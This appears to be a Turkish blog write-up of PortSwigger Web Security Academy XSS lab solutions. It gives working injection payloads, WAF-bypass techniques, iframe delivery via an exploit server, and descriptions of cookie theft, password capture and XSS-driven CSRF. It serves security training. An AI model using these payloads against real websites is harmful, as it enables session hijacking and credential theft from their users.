PORTSWIGGER WEB SECURITY - XSS (CROSS SITE SCRIPTING) LAB ÇÖZÜMLERİ

2 years ago 240

BOOK THIS SPACE FOR AD

ARTICLE AD

PORTSWIGGER WEB SECURITY - XSS (CROSS SITE SCRIPTING) LAB ÇÖZÜMLERİ

Cross Site Scripting (Siteler Arası Komut Dosyası Çalıştırma), saldırganın bir web uygulamasında çalıştırdığı zararlı komutlar sonucunda, kullanıcıların güvenlik zafiyeti bulunan web uygulamasıyla olan etkileşimlerini tehlikeye atmasına neden olan bir web güvenliği zafiyetidir. XSS zafiyeti, hedef kullanıcıların session bilgilerinin ele geçirilmesi, hassas verilerin açığa çıkarılması gibi birçok kötü sonuca neden olmaktadır. XSS payloadları formlarda, yorum mesajlarında veya search alanlarında çalıştırılabilmektedir. Bir web uygulaması, ürettiği çıktıda filtrelenmemiş yada gerekli önlemleri almamış kullanıcı girdisi döndürüyorsa, XSS saldırılarına karşı savunmasız olacaktır.

Bu çalışmada bahsedilen XSS zafiyeti için laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Lab 1: Reflected XSS into HTML context with nothing encoded

Reflected XSS zafiyeti bulunan bir web uygulaması, saldırganın tarayıcısından alınan doğrulanmamış input değerini ekranda doğrudan görüntüler. Bu bilgi doğrultusunda sayfa üzerinde bir Reflected XSS zafiyeti tespit edeceğiz.

Sayfa üzerinde bir arama kutusu mevcuttur. İlk olarak rastgele bir değer aratalım ve arattığımız bu değer ekranda doğrudan sonuç olarak dönüyor mu gözlemleyelim.

Sayfadan alınan yanıt 0 search results for ‘arif1234’ şeklindedir ve kullanıcıdan alınan input değeri (arif1234), doğrudan ekrana basılmaktadır.

Bir xss denemesi yapabiliriz. Herhangi bir filtreleme veya güvenlik önlemi söz konusu değilse submit edeceğimiz bu basit xss payloadı <script>alert(5)</script> çalışacaktır ve ekranda bir pop-up uyarısı verilecektir.

Pop-up Uyarı Ekranı

Input ettiğimiz payload web sunucusu tarafından bir string değeri olarak değilde bir javascript komutu olarak algılandığı için payload çalıştı ve ekranda bir pop-up uyarısı açıldı. İlk laboratuvarın çözümü bu şekildedir.

NOT: Reflected XSS zafiyetinde, zararlı komutun enjekte edildiği sayfanın URL’i hedef kullanıcıya gönderildiğinde ve hedef kullanıcı tarafından açıldığında, saldırganın çalıştırmış olduğu komut hedef kullanıcının tarayıcısında çalışır. Gönderilen zararlı komut dosyası ile herhangi bir eylem gerçekleştirilebilir ve kullanıcının erişimi olan herhangi bir veri ele geçirilebilir.

Congratulations, you solved the lab!

Lab 2: Stored XSS into HTML context with nothing encoded

Bir saldırgan, blog yorum alanı veya form gönderisi gibi input edilebilen bir alana zararlı bir komut enjekte ettiğinde bu komut veritabanı veya herhangi bir yerde kaydediliyorsa burada Stored XSS zafiyeti ortaya çıkmaktadır.

Sayfa üzerinde çeşitli blog yazıları bulunmaktadır ve kullanıcılar blog yazıları için yorumlarını bildirmektedir. Comment alanına yazılacak mesaj veritabanına kaydedilmektedir ve comments bölümünde sayfayı ziyaret eden her kullanıcı için görülmektedir.

Rastgele bir mesaj yazalım ve yorumu gönderelim. Sonrasında ‘yorumun gönderildi’ bildirimini alacağız.

Bloğa geri döndüğümüzde gönderdiğimiz yorum mesajının kaydedildiğini ve sayfa üzerinde mevcut olduğunu göreceğiz.

Sayfanın kodlarını incelediğimizde comment alanının textarea öğesiyle oluşturulduğunu görüyoruz. Burada “></textarea><script>alert(5)</script> şeklinde bir komut eklediğimizde textarea öğesini sonlandırmış ve yeni bir javascript kodu çalıştırmış olacağız.

Çalıştırdığımız kod web sunucusu tarafından bir javascript komutu olarak algılandığı için çalıştı ve ekranda bir pop-up uyarısı açıldı. Burada sadece <script>alert(5)</script> komut satırını enjekte etseydik yine pop-up uyarısı alacaktık.

Congratulations, you solved the lab!

Lab 3: DOM XSS in document.write sink using source location.search

Web sayfalarının HTML kodunda yer alan <head>, <body>, <p>, <img>, <a> gibi etiketler birer DOM nesnesidir. Güvenli olmayan zararlı bir javascript kodu DOM’ a işlendiğinde zafiyet ortaya çıkmaktadır. Yani DOM XSS gerçekleştirmek için verileri bir kaynağa yerleştirmemiz gerekmektedir. Veriler havuza yayılır ve javascript kodunun yürütülmesine neden olur.

DOM XSS güvenlik açıklarına yol açabilecek fonksiyonlardan bazıları şu şekildedir:

=> document.write()
=> document.writeln()
=> document.domain
=> element.innerHTML
=> element.outerHTML
=> element.insertAdjacentHTML
=> element.onevent

DOM XSS güvenlik açıklarına yol açabilecek bazı jQuery işlevleri şu şekildedir:

=> add()
=> after()
=> append()
=> animate()
=> insertAfter()
=> insertBefore()
=> before()
=> html()
=> prepend()
=> replaceAll()
=> replaceWith()
=> wrap()
=> wrapInner()
=> wrapAll()
=> has()
=> constructor()
=> init()
=> index()
=> jQuery.parseHTML()
=> $.parseHTML()

Laboratuvarda, sayfaya veri yazmak için JavaScript document.write işlevi kullanılmaktadır ve document.write işlevi location.search’ten gelen verilerle çağrılmaktadır.

document.write işlevi script öğeleriyle çalışır, böylece <script>alert(5)</script> gibi basit bir payload kullanabiliriz.

Sayfa üzerindeki arama kutusunda ilk olarak rastgele bir değer aratalım ve sayfanın kaynağını inceleyelim.

Arattığımız değerin (arif1234) bir img src öğesinin içinde yer aldığını görmekteyiz. Geçerli img öğesinden çıkmak için “> tagını ve ardından saldırı kodunu kullanacağız.

Arama bloğuna “><svg onload=alert(5)> yada “><script>alert(5)</script> şeklinde bir komut search ettiğimizde komutun çalıştığını aldığımız pop-up uyarısı ile görmüş olacağız.

Congratulations, you solved the lab!

Lab 4: DOM XSS in document.write sink using source location.search inside a select element

Kullanıcının, bir öğenin stokta olup olmadığını görüntülemesini sağlayan bir alışveriş uygulaması düşünelim.

Herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım.

Ürün hakkında detaylı bir açıklama yapılmaktadır. Ayrıca bu ürün belirtilen ülkede var mı? varsa stokta kaç adet var? bunun sorgulaması yapılabilmektedir. Örneğin London ülkesi için stok kontrolü yaptığımız zaman ürün adedinin 444 olduğunu görmekteyiz.

Stok denetleyicisi select öğesinde yeni bir seçenek oluşturmak için document.write işlevini kullanmaktadır. location.search kaynağında bir storeId parametresinin yer aldığını görmekteyiz. Ayrıca burp suite ile isteği incelersek isteğin productId ve storeId parametreleriyle gönderildiğini görebiliriz.

Sayfa https://insecure-website.com/stockStatus?productID=2 URL’si ile görüntülenmektedir. Bu URL’e storeId parametresini ekleyerek rastgele bir değer (arif1234) verelim. Sayfa hata vermediği gibi seçenekler arasına verdiğimiz değeride eklemiş bulunmakta.

Kaynağı tekrar incelediğimizde arif1234 değerinin seçenekler arasında yer aldığını doğrulamış olalım. Ayrıca müdahale edebildiğimiz bu storeId başlığının, burada liste oluşturmak için kullanılan select tagları arasında tanımlandığını görüyoruz.

storeId parametresine bir kod ekleyerek XSS deneyeceğiz. “></select><img%20src=1%20onerror=alert(1)> şeklinde bir kod ekleyip send edebiliriz. Burada “></select> komutuyla select öğesini sonlandırmış ve yeni bir javascript kodu çalıştırmış olduk. %20, boşluk karakterinin url encode şeklidir. İsteği gönderdiğimizde, uygulama <img src=1 başlığı altında ki 1 kaynağını bulamadığı için onerror işlevini kullanacaktır ve pop-up uyarısı açılacaktır.

Congratulations, you solved the lab!

Lab 5: DOM XSS in innerHTML sink using source location.search

innerHTML özelliği, sayfada yapılan değişiklikler dahil olmak üzere sayfanın geçerli HTML kaynağını incelemek için kullanılmaktadır fakat aynı zamanda DOM manipülasyonu için üzerinden sıklıkla saldırı yapılan bir JavaScript etiketidir diyebiliriz.

Arama bloğunda rastgele bir değer search edip kaynağı incelediğimizde innerHTML işlevinin kullanıldığı görülmektedir. Burada, location.search ten gelen verilerle innerHTML ataması yapılarak bir div öğesinin içeriği değiştirilmek istenmektedir. Ayrıca searchMessage parametresini kontrol edebiliyoruz. Burada bir XSS denemesi yaptığımızda arif12345 değeri yerinde artık gönderdiğimiz kod satırı yer alacaktır.

innerHTML işlevi, modern bir tarayıcıda script öğelerini kabul etmediği gibi svg onload öğesi içinde sonuç döndürmez . Dolayısıyla <img src=1 onerror=alert(1)> şeklinde bir kod satırı search edelim. Uygulama <img src=1 başlığı altında ki 1 kaynağını bulamadığı için onerror işlevini kullanacaktır ve pop-up uyarısı açılacaktır.

Ardından tekrar kaynağı incelersek search edilen kod satırının searchMessage parametresi altında çalıştığını görebiliriz.

Congratulations, you solved the lab!

Lab 6: DOM XSS in jQuery anchor href attribute sink using location.search source

Sayfadaki DOM öğelerini değiştirebilecek fonksiyonlara dikkat edelim. Bazı jQuery işlevleri DOM-XSS güvenlik zafiyetlerine neden olabilmektedir. Örneğin bu laboratuvarda kullanılan jQuery’nin attr() işlevi DOM öğelerinin özniteliklerini değiştirebildiğinden, gerekli güvenlik önlemleri alınmadığı için zafiyet oluşmaktadır.

Submit feedback sayfasına gittiğimizde URL’de bir returnPath parametresinin olduğunu görmekteyiz. Bu parametreye rastgele bir değer atayalım ve submit edelim.

Sayfa kaynağını incelediğimizde submit edilen değerin href başlığında tanımlandığını ve javascript kodundan href özelliğini kontrol edebildiğimizi anlıyoruz. Veriler, returnPath parametresi ile bir URL üzerinden gönderilmekte ve kullanıcı tarafından kontrol edilen bir kaynaktan okunmaktadır. Girilen URL attr() işlevine iletilir ve dolayısıyla gönderilen değer zararlı bir komut ise XSS zafiyetine neden olur.

href özelliği ile bağlantı oluşturmak istediğimiz sayfanın URL’i belirtilir. URL üzerinde returnPath parametresine javascript:alert(1) şeklinde bir XSS payloadı submit ediyoruz.

NOT: returnPath parametresine önceki laboratuvarlarda kullanılan payloadlar submit edildiğinde sonuç vermemektedir.

Congratulations, you solved the lab!

Lab 7: DOM XSS in jQuery selector sink using a hashchange event

Web sayfalarında bir diğer dikkat edilmesi gereken fonksiyon, jQuery’nin $() (selective) işlevidir. $() işlevi DOM’a zararlı komutlar enjekte etmek için kullanılabilir. Bu laboratuvarda hash bilgisi kullanıcı tarafından kontrol edilebilir olduğundan, $() selective işlevine XSS payloadı enjekte edebiliriz.

Sayfaya istek atıp burp suite aracı ile kaynak kodunu incelediğimizde hashchange işlevinin kullanıldığını görmekteyiz.

JQuery’nin yeni sürümlerinde, sayfaya zararlı HTML kodu edilmesini engellemek için kare (#) karakteri kullanılmaktadır. Ancak hashchange işlevini tetiklemek için istismar payloadını bir iframe aracılığıyla iletebiliriz. Bunu da exploit sunucusunda ki input alanında gerçekleştireceğiz.

Zararlı payloadımızı, <iframe src=”https://ac371f941f0eae0cc09214e200fa002a.web-security-academy.net/#" onload=”this.src+=’<img src=x onerror=print()>’”></iframe> şeklinde Store edelim.

Burada src işlevine, boş bir hash değeri olan exploit server adresini tanımladık. iframe işlevi yüklendiğinde, hash’e çalıştırdığımız XSS payloadı eklenir ve hashchange olayının tetiklenmesine neden olur.

Ardından exploiti görüntüleyelim (View exploit) ve print() işlevinin çağrıldığını görelim.

Son olarak exploit sunucusuna geri dönüp exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Lab 8: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

AngularJS, ng-app niteliğini (AngularJS yönergesi olarak da bilinir) içeren ve HTML düğümlerinin içeriğini tarayan popüler bir JavaScript kitaplığıdır. HTML koduna bir yönerge eklendiğinde, JavaScript komutlarını çift kaşlı ayraçlar {{}} içinde çalıştırabiliriz. Bu teknik, açılı ayraçlar (<>) sayfa tarafından filtrelendiğinde kullanılmaktadır.

Web sayfasının arama bloğunda rastgele bir değer (arif1234) search edip kaynağı incelediğimizde ng-app niteliğinin kullanıldığını görmekteyiz.

Arama kutusuna {{$on.constructor(‘alert(1)’)()}} şeklinde bir AngularJS ifadesini search ettiğimizde komutun çalıştığını aldığımız pop-up uyarısı ile görmüş olacağız. Laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

Lab 9: Reflected DOM XSS

Web siteleri sunucudan gelen HTML yanıtındaki URL parametrelerini genellikle yansıtır. Reflected+DOM güvenlik zafiyetinde, sunucu istekten gelen verileri işler ve verileri sonuca yansıtır. Yansıtılan veriler DOM içerisinde ki form alanı vb. bir veri öğesine yerleştirilebilir. Dolayısıyla çalıştırılacak zararlı komut ile hem Reflected hem de DOM XSS zafiyeti meydana gelmektedir. Kısacası Reflected+DOM XSS zafiyeti, sunucu bir istekten gelen verileri işlediğinde ve response da verileri yansıttığında ortaya çıkmaktadır.

Web sayfasının arama bloğunda rastgele bir değer (xss) search edip isteği burp suite ile inceleyelim. Gönderilen isteğin yanıtında arama sonuçlarının Json formatında döndüğünü tespit ediyoruz.

Site map sekmesinde, gönderilen isteğin altında ki searchResults.js dosyasını görüntülediğimizde ise JSON formatında ki yanıtın bir eval() işleviyle çağrıldığını görmekteyiz.

Arama bloğunda içinde tırnak işaretlerini barındıran bir değer (arif’ ”><) search ettiğimizde, değerin encode edilerek gönderildiği ve Json yanıtında tırnak işaretlerinden kaçınıldığı görülmektedir. Fakat ters slash (\) karakterinden kaçınılmıyor ve dolayısıyla bu karakteri saldırı komutumuzda kullanabiliriz.

Json yanıtı baştaki çift tırnak karakterinden kaçındığı için çalıştırılacak komuta bir ters slash karakteri enjekte ettiğimizde bir kaçınılma durumu söz konusu olmadığından, JSON yanıtı ikinci bir ters slash karakteri eklemektedir. Bu çift slash karakteri kaçışın iptaline neden olur ve \”-alert(1)}// şeklinde çalıştıracağımız komut ile pop-up uyarısı almış oluruz.

Congratulations, you solved the lab!

Lab 10: Stored DOM XSS

Blog yorum alanı veya form gönderisi gibi input edilebilen bir alana zararlı bir komut enjekte edildiğinde ve bu komut veritabanı veya herhangi bir yerde kaydedildiğinde Stored XSS zafiyetinin ortaya çıktığından bahsetmiştik. Enjekte edilen komut DOM’da gerçekleşiyorsa bu aynı zamanda bir DOM zafiyeti olmakta ve Stored DOM XSS zafiyeti ortaya çıkmaktadır.

Bu web sayfası XSS saldırılarını önlemede, açılı ayraçları (<>) kodlamak için sayfa kaynağında da görüldüğü üzere JavaScript replace() işlevini kullanmaktadır. Dolayısıyla zararlı kodun önüne fazladan bir çift açılı ayraç ekleyerek güvenlik açığını tespit ediyoruz.

Yorum alanında birkaç komut satırı post ettiğimizde, verilerin <> karakterlerinden ötürü çalışmadığını ve string olarak kaydedildiğini görmekteyiz. Fakat <img src=1 onerror=alert(1)> yada </script><img src=1 onerror=alert(1)> şeklinde bir komut satırı post ettiğimizde web sayfası ilk baştaki <> karakterlerini filtrelediğinden diğer komut satırı çalışacaktır ve pop-up uyarısı açılacaktır.

Congratulations, you solved the lab!

Lab 11: Exploiting cross-site scripting to steal cookies

Çoğu web uygulaması, oturum işleme için cookie bilgilerini kullanmaktadır. Saldırgan bir XSS saldırısı yaparak hedeflenen bir kullanıcının cookie bilgilerini ele geçirebilir, kullanıcının kimliğine bürünebilir. Bu laboratuvarda admin kullanıcısının cookie bilgisiyle oturum açacağız.

Sayfada Home sekmesine tıklayarak isteği burp aracıyla inceleyelim ve bir cookie session bilgisinin yer aldığını gözlemleyelim.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (9y8f1wp2cqcrw5cq2xsih0hncei46t.burpcollaborator.net) kopyalıyoruz.

Herhangi bir blog sayfasının comment bölümünde hedef kullanıcının (administrator) cookie bilgilerini elde etmemize olanak tanıyan bir script çalıştıracağız ve script üzerinde kopyaladığımız adresi tanımlayacağız. Bu script sayesinde burpcollaborator.net adresine, yorumu görüntüleyen herkesin kendi cookie bilgisini içeren bir POST isteği göndermesini sağlamaktayız.

Alıntı Ekran

Yorum mesajını gönderdikten sonra Burp Collaborator client bölümünden Poll now seçeneğine tıklayarak bir HTTP etkileşiminin olduğunu görebiliriz. Collaborator isteğini incelediğimizde bir cookie bilgisi yer almaktadır. Bu cookie bilgisini kendi cookie bilgimiz ile değişip isteği send edelim. Administrator kullanıcısının oturumunu başarıyla ele geçirdiğimizi görmek için, aynı cookie bilgisiyle My account sayfasına istek atalım. Sayfadan Hello administrator yanıtı alacağız ve laboratuvarı çözmüş olacağız.

Alıntı Ekran

Congratulations, you solved the lab!

Lab 12: Exploiting cross-site scripting to capture passwords

Bu laboratuvarda bir önceki laboratuvardan farklı olarak göndereceğimiz script ile administrator kullanıcısının parolasını elde edeceğiz.

Alıntı Ekran

Burp Collaborator client bölümünden bir subdomain adresi (rup3v9aiolvexzd32kmvcwt3ouuki9.burpcollaborator.net) kopyalayalım.

Comment bölümünde hedef kullanıcının adını ve parola bilgisini elde etmemize olanak tanıyan bir script çalıştıralım ve script üzerinde kopyaladığımız adresi tanımlayalım. Bu script sayesinde burpcollaborator.net adresine, yorumu görüntüleyen herkesin kullanıcı adını ve parolasını içeren bir POST isteği göndermesini sağlamaktayız.

Alıntı Ekran

Burp Collaborator client bölümünden Poll now seçeneğine tıklayarak bir HTTP etkileşiminin olduğunu görebiliriz. Collaborator isteğini incelediğimizde bir administrator kullanıcısı ve buna ait bir parola bilgisi (fcbk3bdfdnjn0kgm4h5f)yer almaktadır. Bu hesap bilgisiyle login olduğumuzda laboratuvarı çözmüş olacağız.

Lab 13: Exploiting XSS to perform CSRF

Bu laboratuvarda mevcut olan XSS zafiyetini, bir CSRF saldırısı yaparak istismar edeceğiz. Blog gönderisi yorumlarını görüntüleyen herhangi birinin e-posta adresini değiştirmek için bir javascript kodu çalıştıracağız.

Bize tanımlı bir hesap bilgisi (wiener:peter) verilmiştir ve bu bilgiler ile login olduğumuzda Email adresini güncelleyebileceğimiz bir sayfa karşımıza çıkmaktadır.

Sayfanın kaynağını incelediğimizde web tarayıcısnın bir email parametresi ile /my-account/change-email adresine bir POST isteğinin gönderdiğini tespit edeceğiz. Ayrıca CSRF saldırılarını önlemek için kullanılan bir anti-CSRF token bilgisinin yer aldığını görülmektedir. Burada, kullanıcı hesabının sayfasını yükleyip CSRF tokenı çıkaran ve ardından kurbanın e-posta adresini değiştirmek için yeni bir token kullanacak bir istismar kodu çalıştıracağız.

Blog yorum alanında ekrandaki gibi bir javascript kodu post edelim. Bu kod ile kullanıcı hesabının sayfasını yüklemesini, CSRF tokenı çıkarmasını ve ardından hedef kullanıcının e-posta adresini değiştirmek için tokenı kullanmasını belirtiyoruz. Yorumu görüntüleyen herkesin e-posta adresinin test@test.com olarak değiştirileceği bir POST isteği göndermesine neden olacaktır.

Görüldüğü üzere post edilen javasript kodu çalıştığı için yorum mesajı sayfada boş gözükmektedir. Laboratuvarın çözümü bu şekildedir.

Lab 14: Reflected XSS into HTML context with most tags and attributes blocked

Web sayfası yaygın XSS payloadlarına karşı korunmak için bir web uygulaması güvenlik duvarı (WAF) kullanmaktadır. Hangi etiketlerin ve özniteliklerin WAF tarafından engellenmediğini Burp aracıyla tespit edip bu bağlamda komut çalıştıracağız.

Sayfa üzerinde basit bir XSS payloadı <img src=1 onerror=print()> send ettiğimizde sayfa 400 koduyla sonuç vermekte “Tag is not allowed” yanıtını vermektedir.

XSS cheat sheet sayfasında ki “Copy tags to clipboard” butonuna tıklayarak etiketleri kopyalayalım. Ardından Payload options bölümüne listemizi ekleyelim ve atağı başlatalım.

Atak sonucunda body ve custom tags etiketlerine http 200 yanıtının döndüğü görülmektedir. Bu iki etiket WAF tarafından engellenmemektedir.

Tekrar Intruder sekmesine gelip engellenmeyen body etiketini <body%20$$=1> şeklinde düzenliyoruz. body etiketi için hangi öznitelikler WAF tarafından engellenmiyor bunu öğreneceğiz.

XSS cheat sheet sayfasında ki “Copy events to clipboard” butonuna tıklayarak öznitelik listesini kopyalayalım. Ardından Payload options bölümüne listemizi ekleyelim ve atağı başlatalım.

Atak sonucunda onresize özniteliğinin WAF tarafından engellenmediğini görüyoruz. Şimdi body etiketini ve onresize etiketini kullanarak bir XSS scripti çalıştıracağız.

Exploit sunucusunda ki input alanında <iframe src=”https://ac9e1fd41ea81c9ac055051500c60048.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width=’100px’> şeklinde bir istismar kodu Store ediyoruz. URL’e exploit sunucu adresimizi tanımlıyoruz. Ardından exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones

Bu laboratuvarda web sayfası, özel etiketler hariç tüm HTML etiketlerini engellemektedir. Dolayısıyla özel etiket barındıran bir XSS payloadı enjekte edeceğiz.

Sayfa üzerinde sıkça kullanılan bir XSS payloadı <img src=1 onerror=print()> send ettiğimizde sayfa 400 koduyla sonuç vermekte “Tag is not allowed” yanıtını vermektedir.

Exploit sunucusunda ki input alanında <script>
location = ‘https://acd81f111e05a39ec0de14b50062004c.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script> şeklinde url encoding yapılmış bir istismar kodu Store ediyoruz. URL’de exploit sunucu adresimizi tanımladıktan sonra exploiti kurbana teslim ediyoruz. Bu kod ile, bir onfocus olay işleyicisi içeren ve alert işlevini tetikleyen x kimliğine sahip özel bir payload oluşturduk. URL’nin sonundaki hash, sayfa yüklenir yüklenmez onfocus öğesine odaklanır ve alert işlevinin çalıştırılmasına neden olur. Laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

Lab 16: Reflected XSS with event handlers and href attributes blocked

Bu laboratuvarda bazı etiketler WAF tarafından engellenmemektedir ancak tüm eventlar (olay işleyicileri) ve href bağlantı öznitelikleri engellenmektedir.

Sayfa üzerindeki arama kutusunda rastgele bir değer arif1234 arattığımızda URL de search parametresiyle değerin gönderildiği görülmektedir.

search parametresine, <svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a> şeklinde bir komut satırını encode edilmiş şekilde (%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E) ekleyip send edeceğiz.

Kod satırı çalıştı ve sayfada bir Click me butonu oluşturuldu. Kurban kullanıcı butona tıkladığı zaman pop-up uyarısı açılacak ve XSS saldırısı gerçekleşmiş olacaktır.

Congratulations, you solved the lab!

Lab 17: Reflected XSS with some SVG markup allowed

Bu laboratuvarda yaygın kullanılan etiketler web sayfası tarafından engellenmektedir fakat bazı SVG etiketleri ve nitelikleri kullanıldığında engelden kaçınıldığı görülmektedir. Dolayısıyla hangi etiketlerin ve niteliklerin WAF tarafından engellenmediğini Burp aracıyla tespit edip bu bağlamda komut çalıştıracağız.

Sayfa üzerinde basit bir XSS payloadı <img src=1 onerror=alert(1)> send ettiğimizde sayfa 400 koduyla sonuç vermekte “Tag is not allowed” yanıtını vermektedir.

Waf tarafından engellenmeyen etiketleri tespit etmek için isteği intrudera gönderip bir atak başlatalım. İlk olarak <> ayraçları arasına çift $ tagını ekleyelim ve atak tipini Sniper seçelim. XSS cheat sheet sayfasında ki “Copy tags to clipboard” butonuna tıklayarak etiketleri kopyalayalım. Ardından Payload options bölümüne listemizi ekleyelim ve atağı başlatalım.

Atak sonucunda animatetransform, image, svg ve title etiketlerine http 200 yanıtının döndüğü görülmektedir. Bu dört etiket WAF tarafından engellenmemektedir.

Tekrar Intruder sekmesine gelip engellenmeyen svg ve animatetransform etiketlerini <svg><animatetransform%20$$=1> şeklinde düzenliyoruz. Bu şekilde devam edecek XSS payloadı için hangi öznitelikler WAF tarafından engellenmiyor bunu öğreneceğiz.

Atak sonucunda onbegin özniteliğinin WAF tarafından engellenmediğini görüyoruz. Şimdi üç niteliği (svg,animatetransform,onbegin) kullanarak %22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E şeklinde encode edilmiş bir XSS scripti çalıştıracağız.

URL’de search parametresine XSS payloadımızı %22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E tanımlayıp send ediyoruz. Payloadımız çalıştığı için bir pop-up uyarısı alıyoruz.

Congratulations, you solved the lab!

Lab 18: Reflected XSS into attribute with angle brackets HTML-encoded

Submit edeceğimiz bir XSS payloadı bir HTML öğesinin etiketleri arasında yer aldığında “><script>alert(document.domain)</script> şeklinde bir komut çalıştırarak etiketi kapatabilir (“>) yeni bir komut alert(document.domain)</script> çalıştırabiliriz. Bazen sayfa tarafından açılı ayraçlarda (<>) filtrelenmektedir. Dolayısıyla, “ autofocus onfocus=alert(document.domain) x=" gibi açılı ayraçlar kullanımına gerek duymayan farklı bir attribute kullanarak XSS payloadı submit edebiliriz.

Arama bloğunda rastgele bir değer arif1234 search edip sayfa kaynağını incelediğimizde gönderdiğimiz değerin value etiketi arasında yer aldığını gözlemliyoruz. “><script>alert(1)</script> şeklinde bir komut satırı çalıştırmak istesek hata alacağız çünkü açılı ayraçlar web sayfası tarafından engellenmektedir.

Bu nedenle açılı ayraçların kullanımına uygun olmayan farklı bir attribute (onmouseover) kullanarak “onmouseover=”alert(1) şeklinde bir XSS payloadı çalıştırıyoruz. Ardından mouse imleciyle search bloğuna gelindiğinde pop-up uyarısı açılacaktır.

NOT: XSS paylaodında kullanılan tırnak işaretleri, sayfa kaynağında ki html etiketinin kapatılması için kullanılmıştır.

Congratulations, you solved the lab!

Lab 19: Stored XSS into anchor href attribute with double quotes HTML-encoded

Bu laboratuvarda çalıştıracağımız XSS payloadı için sayfa kaynağında yer alan href niteliğinden ötürü bir etiket kapatma söz konusu olmamaktadır.

Herhangi bir blog yazısının Comment alanında gerekli bilgileri girelim ve bir yorum mesajı gönderelim.

Sayfa kaynağını incelediğimizde Website: başlığına verdiğimiz arif1234 değerinin href attribute’nda tanımlandığını görmekteyiz. Bir XSS payloadı çalıştıracak olursak payloadımız href attribute’nda tanımlanacağı için etiket kapatma gereği duymadan (href niteliğine özel) javascript protokolünü kullanabiliriz.

İkinci bir mesaj yorumu gönderip Burp aracıyla giden isteği yakalayalım. İsteği repeatera gönderip Website parametresine javascript:alert(1) şeklinde XSS payloadımızı tanımlayalım ve isteği send edelim.

Kurban kullanıcı web sayfasının yorum alanına gelerek ikinci mesajı yayınlayan Arif kullanıcısına tıkladığında pop-up uyarısı açılacaktır. Bu laboratuvarın çözümü bu şekildedir.

Lab 20: Reflected XSS in canonical link tag

Kullanıcılar klavye kısayollarını sıkça kullanmaktadır. Chrome’da erişim kısayollarını kullanarak bir XSS saldırısı gerçekleştirilebilir. Accesskey özelliği, kısayol tuşlarıyla birlikte bir harfin çağrılmasına olanak sağlamaktadır. Bu laboratuvarda accesskey özelliğini kullanarak bir XSS paylaodı çalıştıracağız.

URL’e /?%27accesskey=%27x%27onclick=%27alert(1) şeklinde encode edilmiş bir XSS payloadı ekleyip send edelim. Bu komut ile X tuşunu tüm sayfa için bir erişim anahtarı olarak ayarlamış olduk.

Sayfayı görüntüleyen kurban kullanıcı burada erişim tuşuna (X) bir klavye kısayolu kullanarak (ALT+SHIFT+X) bastığında pop-up uyarısı açılacaktır. Laboratuvarın çözümü bu şekildedir.

NOT: Bu laboratuvarın çözümü yalnızca chrome üzerinden gerçekleştirilmektedir. Ayrıca tuş kombinasyonları işletim sistemleri için farklılık göstermektedir.

Windows: ALT+SHIFT+X , MacOS: CTRL+ALT+X, Linux: ALT+X

Lab 21: Reflected XSS into a JavaScript string with single quote and backslash escaped

Bir değer search ettiğimizde bu değer javascript komutları arasında yer alıyorsa mevcut öğenin (script gibi) etiketlerini kapatıp yeni bir html etiketi kullanmak mümkündür. Örneğin <script>… var input = ‘veri kontrol edilebiliyor’; … </script> şeklinde bir javascript kodu mevcut ise </script><img src=1 onerror=alert(1)> komut satırıyla script etiketini kapatıp yeni bir komut çalıştırabilmekteyiz. Web sayfası, öğeleri tanımlamak için önce bir HTML ayrıştırması yapmakta ardından komutları anlamak çalıştırmak için Javascript ayrıştırması yapmaktadır.

Search edilecek </script><img src=1 onerror=alert(1)> vb. bir payload ile orjinal komut satırı sonlandırılmamış bir şekilde bozuk kalmaktadır. Ancak script etiketini kapattıktan sonra web sayfası yeni komutun ayrıştırılmasını ve çalışmasını engellememektedir.

Search bloğunda restgele bir değer (arif1234) aratıp burp suite ile dönen yanıtı inceleyelim. Verdiğimiz değerin bir Javascript dizesinde tek tırnak işaretleri içinde yansıtıldığını görmekteyiz.

İçerisinde tek tırnak barındıran bir değer (arif1234'payload) search ettiğimizde yansıtılan değerde tırnak işaretinin önüne bir ters slash \ karakterinin geldiği ve tek tırnak işaretinden kaçınıldığı farkedilecektir.

Javascript komut satırı bloğundan çıkmak ve bir alert uyarısı vermek için </script><script>alert(1)</script> komut satırını send edelim. Ekranda da görüldüğü üzere komut satırımız çalışmaktadır. Aldığımız pop-up uyarısı ile laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 22: Reflected XSS into a JavaScript string with angle brackets HTML encoded

Search edilen değer Javascript komutları arasında yer aldığında genellikle komutu sonlandırıp yeni bir komut satırı çalıştırmak akla ilk gelen yöntemdir. Çalıştırılacak XSS payloadı ile meydana gelecek bir sözdizimi hatası, tüm komutun çalışmasını engelleyecektir. Dolayısıyla enjekte edilecek XSS komutunu, girilen değerin yer aldığı Javascript komutlarına göre oluşturmak önemlidir.

Bir önceki laboratuvarda tek tırnak işaretleri için web sayfası tarafından filtreleme yapılırken burada yapılmamaktadır. Bu nedenle ‘ -alert(1)-’ şeklinde bir XSS payloadı search ettiğimizde komut çalışacaktır. Request üzerinde sağ tıklayıp URL adresini kopyalayıp tarayıcıda açtığımızda ve bir pop-up uyarısı alacağız.

NOT: Dönen yanıtta XSS payloadına ‘ -alert(1)-’ dikkat edersek ilk tırnak işaretiyle otomatik tanımlanan tırnak işareti yan yana geldiği için sonraki komutun çalışmasına sebep olmuştur.

Congratulations, you solved the lab!

